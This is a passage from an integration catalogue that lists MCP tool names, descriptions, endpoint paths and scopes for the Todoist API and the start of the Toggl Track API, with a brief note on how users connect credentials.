todoist_get_api_v1_id_mappings_by_obj_name_by_obj_ids (read) — Translates IDs from v1 to v2 or vice versa. IDs are not unique across object types, hence the need to specify the object type. When V1 ids are provided, the function will return the corresponding V2 ids, if they exist, and vice versa. When no objects are found, an empty list is returned. via GET /api/v1/id_mappings/{obj_name}/{obj_ids} GET /api/v1/todoist/id_mappings/{obj_name}/{obj_ids}. Scopes: data:read. todoist_get_api_v1_labels (read) — Get all user labels. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/labels GET /api/v1/todoist/labels. Scopes: data:read. todoist_get_api_v1_labels_by_label_id (read) — Return a personal label by ID. Returns `NOT_FOUND` when the label does not exist or the ID is invalid. via GET /api/v1/labels/{label_id} GET /api/v1/todoist/labels/{label_id}. Scopes: data:read. todoist_get_api_v1_labels_search (read) — Search user labels by name. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/labels/search GET /api/v1/todoist/labels/search. Scopes: data:read. todoist_get_api_v1_labels_shared (read) — Returns a set of unique strings containing [shared labels](https://www.todoist.com/help/articles/introduction-to-labels-dSo2eE#h_01HE1NNWMV8MCXNVF10GT13ZEX) from active tasks. via GET /api/v1/labels/shared GET /api/v1/todoist/labels/shared. Scopes: data:read. todoist_get_api_v1_location_reminders (read) — Get all active location reminders. Optionally filter by `task_id` to return only location reminders for a specific task. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/location_reminders GET /api/v1/todoist/location_reminders. Scopes: data:read. todoist_get_api_v1_location_reminders_by_reminder_id (read) — Return a single location reminder by ID. via GET /api/v1/location_reminders/{reminder_id} GET /api/v1/todoist/location_reminders/{reminder_id}. Scopes: data:read. todoist_get_api_v1_projects (read) — Get all active user projects, optionally filtered by folder or workspace. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/projects GET /api/v1/todoist/projects. Scopes: data:read. todoist_get_api_v1_projects_archived (read) — Get the user's archived projects. via GET /api/v1/projects/archived GET /api/v1/todoist/projects/archived. Scopes: data:read. todoist_get_api_v1_projects_by_project_id (read) — Returns a project object related to the given ID via GET /api/v1/projects/{project_id} GET /api/v1/todoist/projects/{project_id}. Scopes: data:read. todoist_get_api_v1_projects_by_project_id_collaborators (read) — Get all collaborators for a given project. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/projects/{project_id}/collaborators GET /api/v1/todoist/projects/{project_id}/collaborators. Scopes: data:read. todoist_get_api_v1_projects_permissions (read) — Returns a list of all the available roles and the associated actions they can perform in a project. via GET /api/v1/projects/permissions GET /api/v1/todoist/projects/permissions. Scopes: data:read. todoist_get_api_v1_projects_search (read) — Search active user projects by name. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/projects/search GET /api/v1/todoist/projects/search. Scopes: data:read. todoist_get_api_v1_reminders (read) — Get all active reminders. Optionally filter by `task_id` to return only reminders for a specific task. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/reminders GET /api/v1/todoist/reminders. Scopes: data:read. todoist_get_api_v1_reminders_by_reminder_id (read) — Return a single reminder by ID. via GET /api/v1/reminders/{reminder_id} GET /api/v1/todoist/reminders/{reminder_id}. Scopes: data:read. todoist_get_api_v1_sections (read) — Get all active sections for the user, optionally filtered by project. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/sections GET /api/v1/todoist/sections. Scopes: data:read. todoist_get_api_v1_sections_by_section_id (read) — Return the section for the given section ID via GET /api/v1/sections/{section_id} GET /api/v1/todoist/sections/{section_id}. Scopes: data:read. todoist_get_api_v1_sections_search (read) — Search active sections by name, optionally filtered by project. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/sections/search GET /api/v1/todoist/sections/search. Scopes: data:read. todoist_get_api_v1_tasks (read) — Get all active tasks for the user. All provided parameters are used to narrow down the list of tasks. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/tasks GET /api/v1/todoist/tasks. Scopes: data:read. todoist_get_api_v1_tasks_by_task_id (read) — Returns a single active (non-completed) task by ID via GET /api/v1/tasks/{task_id} GET /api/v1/todoist/tasks/{task_id}. Scopes: data:read. todoist_get_api_v1_tasks_completed_by_completion_date (read) — Retrieves a list of completed tasks strictly limited by the specified completion date range (up to 3 months). It can retrieve completed items: - From all the projects the user has joined in a workspace - From all the projects of the user - That match many [supported filters](https://todoist.com/help/articles/introduction-to-filters-V98wIH) By default, the response is limited to a page containing a maximum of 50 items (configurable using `limit`). Subsequent pages of results can be fetched by using the `next_cursor` value from the response as the `cursor` value for the next request. via GET /api/v1/tasks/completed/by_completion_date GET /api/v1/todoist/tasks/completed/by_completion_date. Scopes: data:read. todoist_get_api_v1_tasks_completed_by_due_date (read) — Retrieves a list of completed items strictly limited by the specified due date range (up to 6 weeks). It can retrieve completed items: - From within a project, section, or parent item - From all the projects the user has joined in a workspace - From all the projects of the user - That match many [supported filters](https://todoist.com/help/articles/introduction-to-filters-V98wIH) By default, the response is limited to a page containing a maximum of 50 items (configurable using `limit`). Subsequent pages of results can be fetched by using the `next_cursor` value from the response as the `cursor` value for the next request. via GET /api/v1/tasks/completed/by_due_date GET /api/v1/todoist/tasks/completed/by_due_date. Scopes: data:read. todoist_get_api_v1_tasks_completed_stats (read) — Get comprehensive productivity statistics for the authenticated user. This endpoint is used to display information about the [Karma system](https://www.todoist.com/help/articles/introduction-to-karma-OgWkWy). Returns detailed completion statistics including: - Daily completion counts with per-project breakdowns for the last 7 days - Weekly completion counts with per-project breakdowns for the last 4 weeks - Total completed task count - Karma score, trend, graph data, and update history - Goal settings (daily/weekly goals, ignore days, vacation mode) - Streak information (current, last, and maximum daily and weekly streaks) - Project color mappings for visualization via GET /api/v1/tasks/completed/stats GET /api/v1/todoist/tasks/completed/stats. Scopes: data:read. todoist_get_api_v1_tasks_filter (read) — Get all tasks matching the filter. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/tasks/filter GET /api/v1/todoist/tasks/filter. Scopes: data:read. todoist_get_api_v1_templates_file (read) — Get a template for a project as a CSV file via GET /api/v1/templates/file GET /api/v1/todoist/templates/file. Scopes: data:read. todoist_get_api_v1_templates_url (read) — Get a template for a project as a shareable URL. The URL can then be passed to `https://todoist.com/api/v1/import/project_from_url?t_url=<url>` to make a shareable template. via GET /api/v1/templates/url GET /api/v1/todoist/templates/url. Scopes: data:read. todoist_get_api_v1_usage_billing_history (read) — List the caller's usage-billing ledger entries, newest first. Use `types` to filter the entries to list. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/usage_billing/history GET /api/v1/todoist/usage_billing/history. Scopes: data:read. todoist_get_api_v1_usage_billing_state (read) — Read the caller's usage-billing credit state for a product. via GET /api/v1/usage_billing/state GET /api/v1/todoist/usage_billing/state. Scopes: data:read. todoist_get_api_v1_usage_billing_usage_summary (read) — Total the caller's settled usage over a window. `/history` is a ledger with one row per movement, so a total spanning more than one page cannot come from it. This answers the one question the UI asks of the whole ledger at once: how many runs, and what they cost. Only settled usage counts. `void`, `expiry` and `chargeback` draw the balance down as well, but they reverse a grant rather than report usage. via GET /api/v1/usage_billing/usage_summary GET /api/v1/todoist/usage_billing/usage_summary. Scopes: data:read. todoist_get_api_v1_user (read) — Get information about the currently authenticated user. This is the OIDC userinfo endpoint. OAuth tokens of any product audience are accepted as long as they carry the `user:read` scope (implied by `data:read`). via GET /api/v1/user GET /api/v1/todoist/user. Scopes: data:read. todoist_get_api_v1_workspaces (read) — Returns all workspaces where the user is a member. via GET /api/v1/workspaces GET /api/v1/todoist/workspaces. Scopes: data:read. todoist_get_api_v1_workspaces_by_workspace_id (read) — Returns a workspace by ID. via GET /api/v1/workspaces/{workspace_id} GET /api/v1/todoist/workspaces/{workspace_id}. Scopes: data:read. todoist_get_api_v1_workspaces_by_workspace_id_projects_active (read) — Returns all active workspace projects, including those visible but not joined by the user. _For guests, returns all joined workspace projects only._ via GET /api/v1/workspaces/{workspace_id}/projects/active GET /api/v1/todoist/workspaces/{workspace_id}/projects/active. Scopes: data:read. todoist_get_api_v1_workspaces_by_workspace_id_projects_archived (read) — Return archived projects in a workspace. Workspace guests cannot list archived projects and receive a `FORBIDDEN` error. Results are paginated by `cursor` and `limit`. via GET /api/v1/workspaces/{workspace_id}/projects/archived GET /api/v1/todoist/workspaces/{workspace_id}/projects/archived. Scopes: data:read. todoist_get_api_v1_workspaces_invitations (read) — Return a list of user emails who have a pending invitation to a workspace. The list is not paginated. All workspace members can access this list. via GET /api/v1/workspaces/invitations GET /api/v1/todoist/workspaces/invitations. Scopes: data:read. todoist_get_api_v1_workspaces_invitations_all (read) — Return a list containing details of all pending invitation to a workspace. This list is not paginated. All workspace members can access this list. via GET /api/v1/workspaces/invitations/all GET /api/v1/todoist/workspaces/invitations/all. Scopes: data:read. todoist_get_api_v1_workspaces_plan_details (read) — Lists details of the workspace's current plan and usage via GET /api/v1/workspaces/plan_details GET /api/v1/todoist/workspaces/plan_details. Scopes: data:read. todoist_get_api_v1_workspaces_users (read) — Returns all workspace_users for a given workspace if workspace_id is provided. Otherwise, returns all workspace_users for all workspaces that the requesting user is part of. _Not accessible by guests._ via GET /api/v1/workspaces/users GET /api/v1/todoist/workspaces/users. Scopes: data:read. todoist_post_api_v1_access_tokens_migrate_personal_token (write) — Tokens obtained via the old email/password authentication method can be migrated to the new OAuth access token. Migrating your users' personal tokens will allow users to see your app in their Todoist Settings page and give them the ability to manage their app authorization. A successful response has `200 OK` status and `application/json` Content-Type. via POST /api/v1/access_tokens/migrate_personal_token POST /api/v1/todoist/access_tokens/migrate_personal_token. Scopes: data:read_write. todoist_post_api_v1_comments (write) — Creates a new comment on a project or task and returns it. Exactly one of `task_id` or `project_id` arguments is required. Providing neither or both will return an error. via POST /api/v1/comments POST /api/v1/todoist/comments. Scopes: data:read_write. todoist_post_api_v1_comments_by_comment_id (write) — Update a comment by ID and returns its content via POST /api/v1/comments/{comment_id} POST /api/v1/todoist/comments/{comment_id}. Scopes: data:read_write. todoist_post_api_v1_folders (write) — Create a new folder in the given workspace. via POST /api/v1/folders POST /api/v1/todoist/folders. Scopes: data:read_write. todoist_post_api_v1_folders_by_folder_id (write) — Update an existing folder. via POST /api/v1/folders/{folder_id} POST /api/v1/todoist/folders/{folder_id}. Scopes: data:read_write. todoist_post_api_v1_labels (write) — Create a personal label. Premium limits apply to personal label creation. Free users who exceed the plan limit receive a premium-only error. via POST /api/v1/labels POST /api/v1/todoist/labels. Scopes: data:read_write. todoist_post_api_v1_labels_by_label_id (write) — Update a personal label. At least one mutable field must be provided. Passing `null` for an optional field keeps the existing value unchanged. via POST /api/v1/labels/{label_id} POST /api/v1/todoist/labels/{label_id}. Scopes: data:read_write. todoist_post_api_v1_labels_shared_remove (write) — Remove the given shared label from all active tasks via POST /api/v1/labels/shared/remove POST /api/v1/todoist/labels/shared/remove. Scopes: data:read_write. todoist_post_api_v1_labels_shared_rename (write) — Rename the given shared label from all active tasks via POST /api/v1/labels/shared/rename POST /api/v1/todoist/labels/shared/rename. Scopes: data:read_write. todoist_post_api_v1_location_reminders (write) — Create a new location reminder for a task. via POST /api/v1/location_reminders POST /api/v1/todoist/location_reminders. Scopes: data:read_write. todoist_post_api_v1_location_reminders_by_reminder_id (write) — Update an existing location reminder. via POST /api/v1/location_reminders/{reminder_id} POST /api/v1/todoist/location_reminders/{reminder_id}. Scopes: data:read_write. todoist_post_api_v1_payments_cancel_plan_with_redirect_to_stripe (write) — Start a hosted cancellation flow and return the redirect URL. via POST /api/v1/payments/cancel_plan_with_redirect_to_stripe POST /api/v1/todoist/payments/cancel_plan_with_redirect_to_stripe. Scopes: data:read_write. todoist_post_api_v1_payments_get_subscription_info (write) — Return the current user's subscription state. via POST /api/v1/payments/get_subscription_info POST /api/v1/todoist/payments/get_subscription_info. Scopes: data:read_write. todoist_post_api_v1_payments_reactivate_plan (write) — Reactivate a previously canceled subscription. Returns the fresh `SubscriptionInfo` after reactivation so callers can avoid a follow-up fetch. Raises `NO_CANCELABLE_SUBSCRIPTION` if there is no active subscription to reactivate. via POST /api/v1/payments/reactivate_plan POST /api/v1/todoist/payments/reactivate_plan. Scopes: data:read_write. todoist_post_api_v1_projects (write) — Creates a new project and returns it via POST /api/v1/projects POST /api/v1/todoist/projects. Scopes: data:read_write. todoist_post_api_v1_projects_by_project_id (write) — Updates a project and returns it. via POST /api/v1/projects/{project_id} POST /api/v1/todoist/projects/{project_id}. Scopes: data:read_write. todoist_post_api_v1_projects_by_project_id_archive (write) — Marks a project as archived. For personal projects, this will archive it just for the initiating user (leaving it visible to any other collaborators). For workspace projects, this will archive it for all workspace users, removing it from view. via POST /api/v1/projects/{project_id}/archive POST /api/v1/todoist/projects/{project_id}/archive. Scopes: data:read_write. todoist_post_api_v1_projects_by_project_id_join (write) — _Only used for workspaces_ This endpoint is used to join a workspace project by a workspace_user and is only usable by the workspace user. via POST /api/v1/projects/{project_id}/join POST /api/v1/todoist/projects/{project_id}/join. Scopes: data:read_write. todoist_post_api_v1_projects_by_project_id_unarchive (write) — Marks a previously archived project as active again. For personal projects, this will make the project visible again for the initiating user. For workspace projects, this will make the project visible again for all applicable workspace users. via POST /api/v1/projects/{project_id}/unarchive POST /api/v1/todoist/projects/{project_id}/unarchive. Scopes: data:read_write. todoist_post_api_v1_reminders (write) — Create a new reminder for a task. For **relative** reminders, provide `minute_offset` (minutes before the task's due time). For **absolute** reminders, provide a `due` dictionary with a specific date/time. Supported `due` keys are `date` or `string`, with optional `lang`, `timezone`, and `is_recurring`. via POST /api/v1/reminders POST /api/v1/todoist/reminders. Scopes: data:read_write. todoist_post_api_v1_reminders_by_reminder_id (write) — Update an existing reminder. via POST /api/v1/reminders/{reminder_id} POST /api/v1/todoist/reminders/{reminder_id}. Scopes: data:read_write. todoist_post_api_v1_revoke (write) — Revoke an access token according to RFC 7009 OAuth Token Revocation. This endpoint accepts form-encoded data and follows the OAuth 2.0 Token Revocation specification. The client must authenticate using HTTP Basic authentication with their client credentials. Authentication is performed via the Authorization header with the format: Authorization: Basic base64(client_id:client_secret) via POST /api/v1/revoke POST /api/v1/todoist/revoke. Scopes: data:read_write. todoist_post_api_v1_sections (write) — Create a new section via POST /api/v1/sections POST /api/v1/todoist/sections. Scopes: data:read_write. todoist_post_api_v1_sections_by_section_id (write) — Update a section. via POST /api/v1/sections/{section_id} POST /api/v1/todoist/sections/{section_id}. Scopes: data:read_write. todoist_post_api_v1_sections_by_section_id_archive (write) — Marks a section as archived. via POST /api/v1/sections/{section_id}/archive POST /api/v1/todoist/sections/{section_id}/archive. Scopes: data:read_write. todoist_post_api_v1_sections_by_section_id_unarchive (write) — Marks a section as active again. via POST /api/v1/sections/{section_id}/unarchive POST /api/v1/todoist/sections/{section_id}/unarchive. Scopes: data:read_write. todoist_post_api_v1_tasks (write) — Create a new task. via POST /api/v1/tasks POST /api/v1/todoist/tasks. Scopes: data:read_write. todoist_post_api_v1_tasks_by_task_id (write) — Updates an existing task. via POST /api/v1/tasks/{task_id} POST /api/v1/todoist/tasks/{task_id}. Scopes: data:read_write. todoist_post_api_v1_tasks_by_task_id_close (write) — Closes a task. The command performs in the same way as our official clients: Regular tasks are marked complete and moved to history, along with their subtasks. Tasks with [recurring due dates](https://todoist.com/help/articles/introduction-to-recurring-dates-YUYVJJAV) will be scheduled to their next occurrence. via POST /api/v1/tasks/{task_id}/close POST /api/v1/todoist/tasks/{task_id}/close. Scopes: data:read_write. todoist_post_api_v1_tasks_by_task_id_move (write) — Moves task to another project, section or parent. via POST /api/v1/tasks/{task_id}/move POST /api/v1/todoist/tasks/{task_id}/move. Scopes: data:read_write. todoist_post_api_v1_tasks_by_task_id_reopen (write) — Reopens a task. Any ancestor tasks or sections will also be marked as uncomplete and restored from history. The reinstated tasks and sections will appear at the end of the list within their parent, after any previously active tasks. via POST /api/v1/tasks/{task_id}/reopen POST /api/v1/todoist/tasks/{task_id}/reopen. Scopes: data:read_write. todoist_post_api_v1_tasks_quick (write) — Add a new task using Quick Add with natural language processing. Quick Add allows creating tasks with rich metadata using natural language text. This endpoint uses the same parsing engine as Todoist's official clients, supporting dates, projects, labels, priorities, assignees, and more in a single text string. ## Basic Syntax Overview - **Due dates**: Natural language like `today`, `tomorrow at 5pm`, `next Monday` - **Projects**: `#ProjectName` (use `#My\\ Project` for names with spaces) - **Sections**: `/SectionName` (requires a project to be specified) - **Labels**: `@labelname` (multiple labels supported) - **Priority**: `p1` to `p4`, `P1` to `P4`, or `!!1` to `!!4` - **Assignees**: `+Name` (requires a project to be specified) - **Deadlines**: `{date expression}` (e.g., `{tomorrow}`, `{in 3 days}`) - **Reminders**: `!30m` (30 min before), `!1h` (1 hour before), `!0mb` (at due time), `!14:00` (absolute time), `!30 min before` (verbose, English only) - **Descriptions**: ` // description text` (must be at the end) ## Examples - `"Buy milk today at 5pm #Shopping @groceries p1"` - `"Team meeting next Monday at 10am #Work +JohnDoe !30m"` - `"Review PR {Friday} // Check the new authentication flow"` - `"Submit report tomorrow #Work /Urgent @important // Include Q3 metrics"` ## Important Notes - Natural language date parsing supports multiple languages based on account settings - If parsing fails for any element, the task is still created (with unparsed text remaining in the content) - Use the `meta` parameter to see detailed parsing results for debugging For comprehensive documentation including all supported date formats, language support, and advanced syntax, see the [Quick Add help article](https://www.todoist.com/help/articles/use-task-quick-add-in-todoist-va4Lhpzz). via POST /api/v1/tasks/quick POST /api/v1/todoist/tasks/quick. Scopes: data:read_write. todoist_post_api_v1_templates_import_into_project_from_template_id (write) — Import a saved template into an existing project. The target project must exist and must not be frozen. The response includes the imported objects so clients can update local state immediately. via POST /api/v1/templates/import_into_project_from_template_id POST /api/v1/todoist/templates/import_into_project_from_template_id. Scopes: data:read_write. todoist_post_api_v1_usage_billing_top_up (write) — In V1, create a hosted Stripe Checkout session to top up the authenticated user's personal Automations wallet. The user must have a personal Stripe customer and an active personal Todoist Pro subscription. A Business or workspace subscription alone does not qualify. A Business member who also has personal Todoist Pro tops up their personal wallet. If the personal Stripe customer or personal Todoist Pro prerequisite is not met, the endpoint returns HTTP 400 with error tag `USAGE_BILLING_TOP_UP_UNAVAILABLE` and error code `605`. via POST /api/v1/usage_billing/top_up POST /api/v1/todoist/usage_billing/top_up. Scopes: data:read_write. todoist_post_api_v1_workspaces (write) — Creates a new workspace and returns it. via POST /api/v1/workspaces POST /api/v1/todoist/workspaces. Scopes: data:read_write. todoist_post_api_v1_workspaces_by_workspace_id (write) — Updates an existing workspace and returns it. via POST /api/v1/workspaces/{workspace_id} POST /api/v1/todoist/workspaces/{workspace_id}. Scopes: data:read_write. todoist_post_api_v1_workspaces_by_workspace_id_users_by_user_id (write) — Updates a workspace user's role. via POST /api/v1/workspaces/{workspace_id}/users/{user_id} POST /api/v1/todoist/workspaces/{workspace_id}/users/{user_id}. Scopes: data:read_write. todoist_post_api_v1_workspaces_by_workspace_id_users_invite (write) — Invites users to a workspace by email. via POST /api/v1/workspaces/{workspace_id}/users/invite POST /api/v1/todoist/workspaces/{workspace_id}/users/invite. Scopes: data:read_write. todoist_post_api_v1_workspaces_invitations_delete (write) — Deletes a workspace invitation. Only admins can delete invitations. via POST /api/v1/workspaces/invitations/delete POST /api/v1/todoist/workspaces/invitations/delete. Scopes: data:read_write. todoist_post_api_v1_workspaces_join (write) — Join a workspace via link or via workspace ID, if the user can auto-join the workspace by domain. ## Joining by Domain This is possible if: - The user is verified - The user has a user e-mail belonging to a domain that is set as a domain name for a workspace - That workspace has the auto-join by domain feature enabled via POST /api/v1/workspaces/join POST /api/v1/todoist/workspaces/join. Scopes: data:read_write. todoist_put_api_v1_emails (write) — Get or create an email to a Todoist object, currently only projects and tasks are supported. via PUT /api/v1/emails PUT /api/v1/todoist/emails. Scopes: data:read_write. todoist_put_api_v1_notification_setting (write) — Update a notification delivery preference. The API accepts the legacy `dont_notify` flag and stores the inverse as the user's delivery preference for the requested notification type and channel. via PUT /api/v1/notification_setting PUT /api/v1/todoist/notification_setting. Scopes: data:read_write. todoist_put_api_v1_workspaces_invitations_by_invite_code_accept (write) — Accept a workspace invitation. Usable by authenticated users only. via PUT /api/v1/workspaces/invitations/{invite_code}/accept PUT /api/v1/todoist/workspaces/invitations/{invite_code}/accept. Scopes: data:read_write. todoist_put_api_v1_workspaces_invitations_by_invite_code_reject (write) — Reject a workspace invitation. Usable by authenticated users only. via PUT /api/v1/workspaces/invitations/{invite_code}/reject PUT /api/v1/todoist/workspaces/invitations/{invite_code}/reject. Scopes: data:read_write. ================================================================================ ## Toggl Track URL: https://www.agenticfabriq.com/integrations/toggl Section: Integrated Tools Toggl Track — 313 MCP tools Provider key: toggl. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. toggl_delete_avatars (write, destructive) — Delete avatars via DELETE /avatars DELETE /api/v1/toggl/avatars. Scopes: api. toggl_delete_integrations_calendar_by_integration_id (write, destructive) — Toggl delete integrations calendar by integration id via DELETE /integrations/calendar/{integration_id} DELETE /api/v1/toggl/integrations/calendar/{integration_id}. Scopes: api. toggl_delete_me_favorites_by_favorite_id (write, destructive) — Delete favorite via DELETE /me/favorites/{favorite_id} DELETE /api/v1/toggl/me/favorites/{favorite_id}. Scopes: api. toggl_delete_me_push_services (write, destructive) — Delete push services via DELETE /me/push_services DELETE /api/v1/toggl/me/push_services. Scopes: api. toggl_delete_organizations_by_organization_id_groups_by_group_id (write, destructive) — Delete organization group via DELETE /organizations/{organization_id}/groups/{group_id} DELETE /api/v1/toggl/organizations/{organization_id}/groups/{group_id}. Scopes: api. toggl_delete_organizations_by_organization_id_subscription (write, destructive) — Delete organization subscription via DELETE /organizations/{organization_id}/subscription DELETE /api/v1/toggl/organizations/{organization_id}/subscription. Scopes: api. toggl_delete_organizations_by_organization_id_subscription_promocode (write, destructive) — Delete promotion code via DELETE /organizations/{organization_id}/subscription/promocode DELETE /api/v1/toggl/organizations/{organization_id}/subscription/promocode. Scopes: api. toggl_delete_organizations_by_organization_id_subscription_trial (write, destructive) — Delete organization trial via DELETE /organizations/{organization_id}/subscription/trial DELETE /api/v1/toggl/organizations/{organization_id}/subscription/trial. Scopes: api. toggl_delete_organizations_by_organization_id_subscription_usage_based_discount (write, destructive) — Delete organization subscription usage based discount via DELETE /organizations/{organization_id}/subscription/usage_based_discount DELETE /api/v1/toggl/organizations/{organization_id}/subscription/usage_based_discount. Scopes: api. toggl_delete_organizations_by_organization_id_users_leave (write, destructive) — Delete organization users leave via DELETE /organizations/{organization_id}/users/leave DELETE /api/v1/toggl/organizations/{organization_id}/users/leave. Scopes: api. toggl_delete_subscriptions_by_workspace_id_by_subscription_id (write, destructive) — Delete subscription via DELETE /subscriptions/{workspace_id}/{subscription_id} DELETE /api/v1/toggl/subscriptions/{workspace_id}/{subscription_id}. Scopes: api. toggl_delete_timeline (write, destructive) — Toggl delete timeline via DELETE /timeline DELETE /api/v1/toggl/timeline. Scopes: api. toggl_delete_workspaces_by_workspace_id_alerts_by_alert_id (write, destructive) — Delete alerts via DELETE /workspaces/{workspace_id}/alerts/{alert_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/alerts/{alert_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_clients_by_client_id (write, destructive) — Delete workspace client via DELETE /workspaces/{workspace_id}/clients/{client_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/clients/{client_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_favorites_by_favorite_id (write, destructive) — Workspace delete favorite via DELETE /workspaces/{workspace_id}/favorites/{favorite_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/favorites/{favorite_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_goals_by_goal_id (write, destructive) — Toggl delete workspaces by workspace id goals by goal id via DELETE /workspaces/{workspace_id}/goals/{goal_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/goals/{goal_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_groups_by_group_id (write, destructive) — Delete workspace group via DELETE /workspaces/{workspace_id}/groups/{group_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/groups/{group_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_invoices_by_user_invoice_id (write, destructive) — Delete workspace invoice via DELETE /workspaces/{workspace_id}/invoices/{user_invoice_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/invoices/{user_invoice_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_linked_sso_profiles_by_sso_profile_id (write, destructive) — Delete workspace linked sso profiles via DELETE /workspaces/{workspace_id}/linked_sso_profiles/{sso_profile_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/linked_sso_profiles/{sso_profile_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_logo (write, destructive) — Delete workspace logo via DELETE /workspaces/{workspace_id}/logo DELETE /api/v1/toggl/workspaces/{workspace_id}/logo. Scopes: api. toggl_delete_workspaces_by_workspace_id_project_groups_by_project_group_id (write, destructive) — Delete project group via DELETE /workspaces/{workspace_id}/project_groups/{project_group_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/project_groups/{project_group_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_project_users_by_project_user_id (write, destructive) — Delete workspace project users via DELETE /workspaces/{workspace_id}/project_users/{project_user_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/project_users/{project_user_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_projects_by_project_id (write, destructive) — Delete workspace project via DELETE /workspaces/{workspace_id}/projects/{project_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_projects_by_project_id_tasks_by_task_id (write, destructive) — Delete workspace project task via DELETE /workspaces/{workspace_id}/projects/{project_id}/tasks/{task_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/tasks/{task_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_reports_shared_by_report_id (write, destructive) — Delete saved report resource via DELETE /workspaces/{workspace_id}/reports/shared/{report_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/reports/shared/{report_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_scheduled_reports_by_report_id (write, destructive) — Delete workspace scheduled reports via DELETE /workspaces/{workspace_id}/scheduled_reports/{report_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/scheduled_reports/{report_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_tags_by_tag_id (write, destructive) — Delete workspace tag via DELETE /workspaces/{workspace_id}/tags/{tag_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/tags/{tag_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_time_entries_by_time_entry_id (write, destructive) — Delete workspace time entries via DELETE /workspaces/{workspace_id}/time_entries/{time_entry_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/time_entries/{time_entry_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_timesheet_setups_by_setup_id (write, destructive) — Delete timesheet setups via DELETE /workspaces/{workspace_id}/timesheet_setups/{setup_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/timesheet_setups/{setup_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_track_reminders_by_reminder_id (write, destructive) — Delete workspace track reminder via DELETE /workspaces/{workspace_id}/track_reminders/{reminder_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/track_reminders/{reminder_id}. Scopes: api. toggl_delete_workspaces_by_workspace_id_workspace_users_by_workspace_user_id (write, destructive) — Delete workspace user via DELETE /workspaces/{workspace_id}/workspace_users/{workspace_user_id} DELETE /api/v1/toggl/workspaces/{workspace_id}/workspace_users/{workspace_user_id}. Scopes: api. toggl_get_audit_logs_by_organization_id_by_from_by_to (read) — Get audit logs via GET /audit_logs/{organization_id}/{from}/{to} GET /api/v1/toggl/audit_logs/{organization_id}/{from_}/{to}. Scopes: api. toggl_get_auth_saml2_login (read) — Get saml2 login url via GET /auth/saml2/login GET /api/v1/toggl/auth/saml2/login. Scopes: api. toggl_get_countries (read) — Get countries via GET /countries GET /api/v1/toggl/countries. Scopes: api. toggl_get_countries_by_country_id_subdivisions (read) — Get countries country id subdivisions via GET /countries/{country_id}/subdivisions GET /api/v1/toggl/countries/{country_id}/subdivisions. Scopes: api. toggl_get_currencies (read) — Get currencies via GET /currencies GET /api/v1/toggl/currencies. Scopes: api. toggl_get_desktop_login (read) — Toggl get desktop login via GET /desktop_login GET /api/v1/toggl/desktop_login. Scopes: api. toggl_get_event_filters (read) — Get event filters via GET /event_filters GET /api/v1/toggl/event_filters. Scopes: api. toggl_get_ical_workspace_user_by_token (read) — Get ical via GET /ical/workspace_user/{token} GET /api/v1/toggl/ical/workspace_user/{token}. Scopes: api. toggl_get_integrations_calendar (read) — Toggl get integrations calendar via GET /integrations/calendar GET /api/v1/toggl/integrations/calendar. Scopes: api. toggl_get_integrations_calendar_by_integration_id_calendars (read) — Toggl get integrations calendar by integration id calendars via GET /integrations/calendar/{integration_id}/calendars GET 